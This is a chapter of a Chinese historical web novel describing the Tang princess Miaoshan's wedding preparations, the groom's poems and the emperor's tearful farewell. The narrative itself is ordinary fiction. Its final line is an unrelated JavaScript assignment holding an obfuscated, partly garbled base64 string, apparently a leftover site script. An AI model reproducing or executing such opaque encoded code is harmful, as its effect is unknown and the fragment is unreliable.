桃之夭夭(2/2)

“可是……”妙善话音未落,便有赵婕妤捧了整整一盒的琉璃细钗,给她迅速的插了满头。

妙善咋舌:“婕妤看样子十分手熟啊。”

赵婕妤莞尔:“当年襄城公主出降时,亦是妾身帮着梳妆的。”

妙善“哦”了一声,便再不说话了。

公主士昏礼繁琐,纵使身旁有许多人围着,也是直到日暮低垂才完成了所有的梳妆。

妙善朝镜里看了一眼,顿时嫌弃的别开双目:这画的跟鬼一样,完全就不是她好吗。到时团扇一撤,长孙冲见了她不吓个半死才怪呢。

韦贵妃执着镜子笑道:“公主不愧是唐宫第一丽人,这样倾国倾城的新妇子,妾身还是头一回瞧见。”

妙善不敢苟同,连笑也不敢笑一下,生怕自己那血盆大口吓死自己。

即便如此,镜中场景还是不经意间落入她的眼底:只见一群宫娥采女之间,夏玉倚着柱一动不动的望着她,眼里透出一丝茫然。

妙善忽然想起当年自己受封公主时与他的对话,她问他如果到自己出降的那一天,他会为自己打理嫁衣吗?如今看来,他回答的倒是一丝也没错。

“阿玉过来。”妙善从人群中探出一个头来,笑着朝他招手。

“公主。”夏玉上前作了一揖。

“这桌上有一盘毕罗,你给小九送去吧,他爱吃。”

?夏玉迟疑了一下,还是捧着毕罗出去了。

?待妙善收拾停当,这屋里不知什么时候又多出些素不相识的华服妇人出来。韦贵妃对着名单一一给她介绍,原来大部分都是李氏宗亲和高家那边的妯娌姑嫂们。妙善头上各式帽惑宫花钗冠步摇热热闹闹的好似开会一样,也实在不好与她们见礼,只得微微拱手以示礼貌。

这些命妇宗亲大多是被一道圣诏宣过来给妙善撑场面的,与妙善几乎从未见过,大家站在一处寒暄了几句便再没什么可说的,遂都聚在一起讨论起长孙冲来。妙善无心听她们闲话,遂坐的端端正正的打起了盹儿。

?正殿之内,早已摆好了丈高的四重银屏,以往空荡荡的立政殿此时热热闹闹围了一屋子人。

?忽然,一个宫娥笑着跑进来,高呼道:“快,新郎子往立政门来了!”

?这一声无比响亮,就连在寝殿里补妆的妙善都听的一清二楚。妙善心里一紧,接着便听见外间隆隆的殿门关闭之声,围着妙善的命妇们呼啦一下尽奔去了外间,笑闹着一人夺了一个四尺长的木棍拎在手里。

?妙善看了看韦贵妃,韦贵妃笑道:“公主放心,这些夫人都是见惯了的,下手有分寸。”

?妙善:……

?刚过了片刻,便听见外间嬉闹声骤然变大,其间夹杂着一两句男子的声音,不过听不真切。

?兰儿笑道:“这是夫人们拦着让作诗呢。”

?妙善点点头,伸手把博鬓戴正,正巧从镜中瞧见鬼鬼祟祟摸进来的夏玉,忍不住笑问:“外间早已关了门,你怎么进来的?”

夏玉理了理衣冠,道“这正门关的死死的,臣猫着腰一路沿东小门进来,没想到连小门也有等着闹郎子的,臣差点就吃了棍棒。”

?二人正说着,忽听外间笑闹声像平地里炸开一般,妙善用脚趾头想一想都能猜到外间是怎样一副“惨烈”的景象。果不其然,只见韦贵妃从外间看了热闹回来,笑道:“那高家的大娘子着实勇猛,把驸马的冠帽都差些打下来!”

?妙善心里一惊,还是忍不住问道:“没事吧?”

?韦贵妃笑着摆摆手:“公主放心,若真的伤着了他,我们也不好向公主交代的。”说罢,又掩着嘴“咯咯”笑起来。

?妙善无言以对,只得由着宫妇又给她脸上扑了一层铅粉,这时,便听见帘外响起了一道低沉的有些熟悉的声音:“待闻烛下捻红粉,银镜台前别作春。无须满面姣花却,愿留蛾眉待画人。”

?话音刚落,便听见一群人齐齐的喊:“请公主尊驾!请公主尊驾!”

?妙善撇了撇嘴,又细细的描了描眉。

?这时,不知是谁扯着嗓子喊了一声:“新妇子!催出来!新妇子!催出来!”

?有人带头,其他人亦涨了气势,齐齐的催妙善快出来。

?兰儿与妙善递了个眼色,方将帘子掀开一角,喝道:“公主起驾,闲人退避!”

?待那群人老老实实推至正房门口,才有两个宫娥一左一右将妙善架起来,拥着走到了正房中重重画屏后坐下,

?妙善面南背北坐在马鞍上,隔着重重银屏,只能隐隐约约看见一个高高瘦瘦的青色身影分开人群,缓缓朝她走来。

?周围一下安静下来,静的仿佛能听见他踩在红毡上的脚步声。

?心跳陡然加速,妙善只觉得她现在紧张的连冷汗都要往下淌。忽然,一双手握住她早已汗津津的手,妙善抬头,对上豫章的笑脸。

?豫章握着她的手,只微微笑了笑,便转身离去了。

?妙善的心沉了下来,她捂着胸口,调整了一下呼吸。谁知还没等她把身子坐正,便看见一个黑影朝着她直直的飞了过来。妙善没有防备,下意识往后一闪,那满头的珠翠叮叮咣咣的响起来,立时便有两个宫娥上前将她扶正。又有两个女官上前抓住了那“黑影”,用红罗裹起来。

?妙善定睛一瞧,原是一只胖乎乎的大雁。

?女官用红绳将那大雁的咀缠好,用红罗裹着抱了下去。

?妙善坐正了身子,看着那高瘦的身影在银屏前停下,深深作了一揖。

?“银障重重掩,罗绮队队芳。为言宫人道,去却又何妨?”

?作罢诗,便有晋王李治与皇十九女李淑上前撤去银屏,妙善才得以真正见到长孙冲。

?长孙冲身上规规矩矩的穿着絺冕,他上前两步,不经意与妙善四目相对了一下,便立刻移开了目光,将手中奠雁放在她脚下,对着她纳头便拜:“臣宗正少卿长孙冲特受命迎公主入府。”

?妙善颇矜持的一颔首,便有两个宫娥上前将她扶起。长孙冲立刻上前搀住她一只胳膊,扶着她缓缓出了立政殿,坐上了去往长孙府的花车。

?李承乾看着妹妹上了花车,朝鸿胪寺卿点了点头,一声锣鼓开道,送亲队伍便在一片唢呐笙笛声中缓缓驶出了立政门,沿着宫道一路朝南走,在承天门停了下来。

一众宫妃亲王命妇拥着帝后二人候在承天门前,看着送亲队伍远远过来,李世民不禁攥紧了妻子的手。

花车在承天门前停下,李承乾翻身下马,朝着李世民深深下拜:“启奏陛下,驸马都尉已亲迎公主于承天门,还请陛下、皇后教诲。”

妙善也在一众宫娥的簇拥下出了花车,朝着帝后二人盈盈一拜:“臣奉命下降宗正少卿长孙冲,特来拜别。”

长孙氏偏过头看了看李世民,见他梗着脖子,两片薄唇微抿,情知是不能说话了,只得上前一步,道:“出降之后,应遵行人妇之道,奉敬舅姑,体恤夫婿,友善兄弟,内理琐务,外迎客宾。不可娇纵任性,以失妇子之仪。”

妙善作揖:“臣谨遵殿下懿旨。”

长孙冲也上前跪下:“还请陛下、皇后放心,臣定会善待公主。”

长孙氏笑着点点头,李世民斜着眼看了他一下,终是沉着脸“嗯”了一声。

妙善又对着双亲作了长长一揖,一步三回头的上了花车。

长孙冲绕着花车转了三圈,而后方跃上马背,鼓乐声再次响起,巨大的车轮缓缓转动起来。李世民瞪着双眼,看着她的车马行出了承天门,离自己越来越远,直到连最后一个人的身影也消失在茫茫夜色里,直到他再也听不见那喧闹的吹打之声,蓄了一天的泪水终是失去了控制,争先恐后的自眼眶滚滚而落。

window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";